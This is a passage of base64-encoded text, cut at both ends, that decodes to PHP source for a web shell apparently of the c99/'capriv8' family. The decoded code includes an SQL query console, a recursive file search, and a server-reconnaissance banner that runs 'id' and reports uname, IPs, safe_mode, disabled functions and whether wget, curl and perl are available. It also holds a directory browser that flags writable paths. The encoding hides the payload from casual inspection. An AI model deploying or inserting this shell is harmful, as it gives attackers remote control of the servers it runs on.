9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG8iO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5Ijt9IGVjaG8gIjo8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1zcWxfcXVlcnkgY29scz0xMDAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfeCB2YWx1ZT1xdWVyeT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPiI7DQogICAgICAgIGlmICgkdGJsX3N0cnVjdCkgew0KICAgICAgICAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOw0KICAgICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRmaWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hvICIrIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmNhcHJpdjhfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQ0KICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikgew0KICAgICAgJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRkc2xhc2hlcygkZGIpLiJgOyI7DQogICAgICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpIHsNCiAgICAgICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCiAgICAgICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsNCiAgICAgICR0eXBlcyA9IGFycmF5KA0KICAgICAgICAiU0VMRUNUIj0+YXJyYXkoMywxKSwNCiAgICAgICAgIlNIT1ciPT5hcnJheSgyLDEpLA0KICAgICAgICAiREVMRVRFIj0+YXJyYXkoMSksDQogICAgICAgICJEUk9QIj0+YXJyYXkoMSkNCiAgICAgICk7DQogICAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAgICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogICAgICBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKSB7DQogICAgICAgICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgICAgICAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7DQogICAgICAgIGlmICgkdHlwZXNbJG9wXSA9PSAyKSB7DQogICAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpIHsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07DQogICAgICAgICAgICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsNCiAgICAgICAgICAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9DQogICAgICAgICAgICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhZnNlYXJjaCIpKSB7DQogICAgZnVuY3Rpb24gY2Fmc2VhcmNoKCRkKSB7DQogICAgICBnbG9iYWwgJGZvdW5kOw0KICAgICAgZ2xvYmFsICRmb3VuZF9kOw0KICAgICAgZ2xvYmFsICRmb3VuZF9mOw0KICAgICAgZ2xvYmFsICRzZWFyY2hfaV9mOw0KICAgICAgZ2xvYmFsICRzZWFyY2hfaV9kOw0KICAgICAgZ2xvYmFsICRhOw0KICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKSB7DQogICAgICAgICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgICAgICAgIGlmIChpc19kaXIoJGQuJGYpKSB7DQogICAgICAgICAgICAkc2VhcmNoX2lfZCsrOw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRhWyJ0ZXh0Il0pIGFuZCAkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9kKys7fQ0KICAgICAgICAgICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2NhZnNlYXJjaCgkZC4kZik7fQ0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9mKys7DQogICAgICAgICAgICBpZiAoJGJvb2wpIHsNCiAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYVsidGV4dCJdKSkgew0KICAgICAgICAgICAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30NCiAgICAgICAgICAgICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgICAgICAgICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9DQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgICAgICAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoJHggPT0gImdvZmlsZSIpIHsNCiAgICBpZiAoaXNfZGlyKCRmKSkgeyAkeCA9ICJscyI7ICRkID0gJGY7IH0NCiAgICBlbHNlIHsgJHggPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpOyB9DQogIH0NCiAgQG9iX3N0YXJ0KCk7DQogIEBvYl9pbXBsaWNpdF9mbHVzaCgwKTsNCiAgZnVuY3Rpb24gb25waHBzaHV0ZG93bigpIHsNCiAgICBnbG9iYWwgJGd6aXBlbmNvZGUsJGZ0Ow0KICAgIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpIHsNCiAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgICAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsNCiAgICAgIGVjaG8gJHY7DQogICAgICBAb2JfZW5kX2ZsdXNoKCk7DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIGNhcHJpdjhleGl0KCkgew0KICAgIG9ucGhwc2h1dGRvd24oKTsNCiAgICBleGl0Ow0KICB9DQogIGhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmdtZGF0ZSgiRCwgZCBNIFkgSDppOnMiKS4iIEdNVCIpOw0KICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsNCiAgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7DQogIGlmIChlbXB0eSgkdG1wZGlyKSkgew0KICAgICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KICAgIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9DQogIH0NCiAgJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOw0KICAkdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KICBpZiAoc3Vic3RyKCR0bXBkaXIsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdG1wZGlyIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KICBlbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30NCiAgZnVuY3Rpb24gc2hvd3N0YXQoJHN0YXQpIHsNCiAgICBpZiAoJHN0YXQ9PSJvbiIpIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPk9OPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9cmVkPjxiPk9GRjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RwZXJsKCkgew0KICAgIGlmIChleCgncGVybCAtaCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdGZldGNoKCkgew0KICAgIGlmKGV4KCdmZXRjaCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3R3Z2V0KCkgew0KICAgIGlmIChleCgnd2dldCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3Rwb3N0Z3Jlc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3Rtc3NxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0Y3VybCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RteXNxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiBzaG93ZGlzYWJsZWZ1bmN0aW9ucygpIHsNCiAgICBpZiAoJGRpc2FibGVmdW5jPUBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKXsgcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+PGI+Ii4kZGlzYWJsZWZ1bmMuIjwvYj48L2ZvbnQ+IjsgfQ0KICAgIGVsc2UgeyByZXR1cm4gIjxmb250IGNvbG9yPSMwMEZGMDA+PGI+Tk9ORTwvYj48L2I+PC9mb250PiI7IH0NCiAgfQ0KICBpZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSB7DQogICAgJHNhZmVtb2RlID0gVFJVRTsNCiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPSMzMzY2RkY+PGI+T04gKFNlY3VyZSk8L2I+PC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJHNhZmVtb2RlID0gRkFMU0U7DQogICAgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+PGI+T0ZGIChOb3QgU2VjdXJlKTwvYj48L2ZvbnQ+IjsNCiAgfQ0KICAkdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCiAgaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHsNCiAgICAkb3BlbmJhc2VkaXIgPSBUUlVFOw0KICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9cmVkPiIuJHYuIjwvZm9udD4iOw0KICB9DQogIGVsc2Ugew0KICAgICRvcGVuYmFzZWRpciA9IEZBTFNFOw0KICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iOw0KICB9DQogICAgICRxdW90ZXMgPSBnZXRfbWFnaWNfcXVvdGVzX2dwYygpOw0KaWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIikNCiAgIHsNCiAgICAgICAkcXVvdCA9ICI8Zm9udCBjb2xvcj0ncmVkJz5PTjwvZm9udD4iOw0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAgICAgICRxdW90ID0gIjxmb250IGNvbG9yPSdncmVlbic+T0ZGPC9mb250PiI7DQogICB9DQogICRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7DQogIGlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAkc29ydFsxXSA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOw0KICAkRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KICBpZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9DQogICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsNCiAgaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyAkYWN0Ym94ID0gYXJyYXkoKTsgfQ0KICAkZHNwYWN0ID0gJHggPSBodG1sc3BlY2lhbGNoYXJzKCR4KTsNCiAgJGRpc3BfZnVsbHBhdGggPSAkbHNfYXJyID0gJG5vdGxzID0gbnVsbDsNCiAgJHVkID0gdXJsZW5jb2RlKCRkKTsNCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICBpZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30NCiAgZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30NCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KICAkZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsNCmVjaG8gJGh0bWxfc3RhcnQ7DQplY2hvICI8dGFibGUgaWQ9cGFnZWJhcj48dHI+PHRkIHdpZHRoPTUwJT48cD4iLg0KCSAiU29mdHdhcmUgOiAiLiRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuIiAtIDxhIGhyZWY9Ii4kc3VybC4ieD1waHBpbmk+cGhwLmluaTwvYT48YnI+Ii4NCiAgICAgIlNhZmUgTW9kZTokaHNhZmVtb2RlPGJyPk1hZ2ljIFF1b3RlczokcXVvdDxicj4iLg0KICAgICAiVW5hbWUgLWEgOiAiLnBocF91bmFtZSgpLiI8YnI+IjsNCmlmICghJHdpbikgeyBlY2hvICJpZCA6ICIubXlzaGVsbGV4ZWMoImlkIik7IH0NCmVsc2UgeyBlY2hvICJVc2VyIDogIiAuIGdldF9jdXJyZW50X3VzZXIoKTsgfQ0KZWNobyAiPGJyPjwvcD4iLg0KICAgICAiPHA+U2VydmVyIElQIDogPGEgaHJlZj1odHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLyIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvYT4gLSAiLg0KICAgICAiWW91ciBJUCA6IDxhIGhyZWY9aHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI+Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9hPiI7DQoJIGVjaG8gIjxicj48cD4iOw0KaWYoJHdpbil7ZWNobyAiRHJpdmVzIDogIi5kaXNwX2RyaXZlcygkZCwkc3VybCkuIjwvcD48cD4iO30NCmVjaG8gIkZyZWVzcGFjZSA6ICIuZGlzcF9mcmVlc3BhY2UoJGQpOw0KZWNobyAiPC9wPjxwPiI7DQplY2hvICJNeVNRTDogIi50ZXN0bXlzcWwoKS4iIE1TU1FMOiAiLnRlc3Rtc3NxbCgpLiIgT3JhY2xlOiAiLnRlc3RvcmFjbGUoKS4iIE1TU1FMOiAiLnRlc3Rtc3NxbCgpLiIgUG9zdGdyZVNRTDogIi50ZXN0cG9zdGdyZXNxbCgpLg0KICAgICAiIGNVUkw6ICIudGVzdGN1cmwoKS4iIFdHZXQ6ICIudGVzdHdnZXQoKS4iIEZldGNoOiAiLnRlc3RmZXRjaCgpLiIgUGVybDogIi50ZXN0cGVybCgpLiI8YnI+IjsNCmVjaG8gIkRpc2FibGVkIEZ1bmN0aW9uczogIi5zaG93ZGlzYWJsZWZ1bmN0aW9ucygpOw0KZWNobyAiPC9wPjwvdGQ+PC90cj4iOw0KZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gyKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gyIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOw0KaWYgKGNvdW50KCRxdWlja2xhdW5jaDEpID4gMCkgew0KICBmb3JlYWNoKCRxdWlja2xhdW5jaDEgYXMgJGl0ZW0pIHsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICAgIGlmIChlbXB0eSgkdikpIHsNCiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7DQogICAgfQ0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOw0KICB9DQp9DQplY2hvICI8L3RkPjx0cj48dGQgY29sc3Bhbj0yIGlkPW1haW5tZW51PiI7DQppZiAoY291bnQoJHF1aWNrbGF1bmNoMykgPiAwKSB7DQogIGZvcmVhY2goJHF1aWNrbGF1bmNoMyBhcyAkaXRlbSkgew0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogICAgaWYgKGVtcHR5KCR2KSkgew0KICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsNCiAgICAgICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTsNCiAgICB9DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQogICAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT5cbiI7DQogIH0NCn0NCmVjaG8gIjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49Mj4iOw0KZWNobyAiPHAgY2xhc3M9ZmxlZnQ+IjsNCiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7DQokaSA9IDA7DQpmb3JlYWNoKCRwZCBhcyAkYikgew0KICAkdCA9ICIiOyAkaiA9IDA7DQogIGZvcmVhY2ggKCRlIGFzICRyKSB7DQogICAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgIGlmICgkaiA9PSAkaSkgeyBicmVhazsgfQ0KICAgICRqKys7DQogIH0NCiAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPjxmb250IGNvbG9yPXJlZD4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvZm9udD48L2E+IjsNCiAgJGkrKzsNCn0NCmVjaG8gIiAtICI7DQppZiAoaXNfd3JpdGFibGUoJGQpKSB7DQogICR3ZCA9IFRSVUU7DQogICR3ZHQgPSAiPGZvbnQgY29sb3I9IzAwRkYwMD5bT0tdPC9mb250PiI7DQogIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOw0KfQ0KZWxzZSB7DQogICR3ZCA9IEZBTFNFOw0KICAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bUmVhZC1Pbmx5XTwvZm9udD4iOw0KICBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCj8+DQo8L3A+DQo8YnIgLz4NCjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJscyI+DQpEaXJlY3Rvcnk6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IDxpbnB1dCB0eX